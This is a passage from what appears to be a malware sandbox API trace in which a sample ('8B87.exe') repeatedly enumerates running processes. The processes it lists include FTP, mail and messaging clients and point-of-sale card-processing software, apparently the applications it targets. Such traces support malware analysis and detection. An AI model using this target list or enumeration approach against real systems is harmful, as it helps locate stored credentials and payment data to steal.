pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0208.744] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0208.746] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x808, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0208.749] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0208.750] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x930, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0208.752] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0208.753] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0208.756] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0208.759] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0208.762] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x2f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0208.764] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0208.766] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1010, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0208.769] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0208.772] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1028, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0208.774] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0208.776] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0208.778] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1044, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0208.780] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1054, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0208.816] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x105c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0208.818] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1070, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0208.820] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1078, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0208.822] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1088, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0208.824] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1090, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0208.826] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x109c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0208.828] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0208.830] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0208.832] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0208.834] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0208.837] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0208.839] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0208.841] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0208.843] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1100, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0208.846] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0208.849] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0208.851] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x111c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0208.853] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x112c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0208.855] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0208.857] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0208.859] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0208.861] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1164, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0208.863] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x116c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0208.865] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x117c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0208.868] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="large.exe")) returned 1 [0208.870] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1190, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="analysis_democrat.exe")) returned 1 [0208.873] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x374, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0208.876] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0208.878] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0208.880] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0208.882] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xc20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0208.884] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x13a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0208.886] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0208.889] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="8B87.exe")) returned 1 [0208.891] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="8B87.exe")) returned 0 [0208.893] CloseHandle (hObject=0x11c8) returned 1 [0208.893] Sleep (dwMilliseconds=0x64) [0208.894] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x11c8 [0208.917] Process32First (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0208.962] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x79, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0208.965] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0208.967] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0209.008] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0209.010] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0209.012] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0209.015] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0209.018] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0209.020] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2e, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0209.022] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0209.025] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0209.028] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x49, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0209.030] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0209.032] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0209.035] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0209.037] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0209.040] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0209.042] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0209.050] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0209.053] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0209.055] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x35, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0209.057] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0209.058] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0209.060] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0209.062] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0209.064] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0209.065] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0209.067] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0209.069] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, 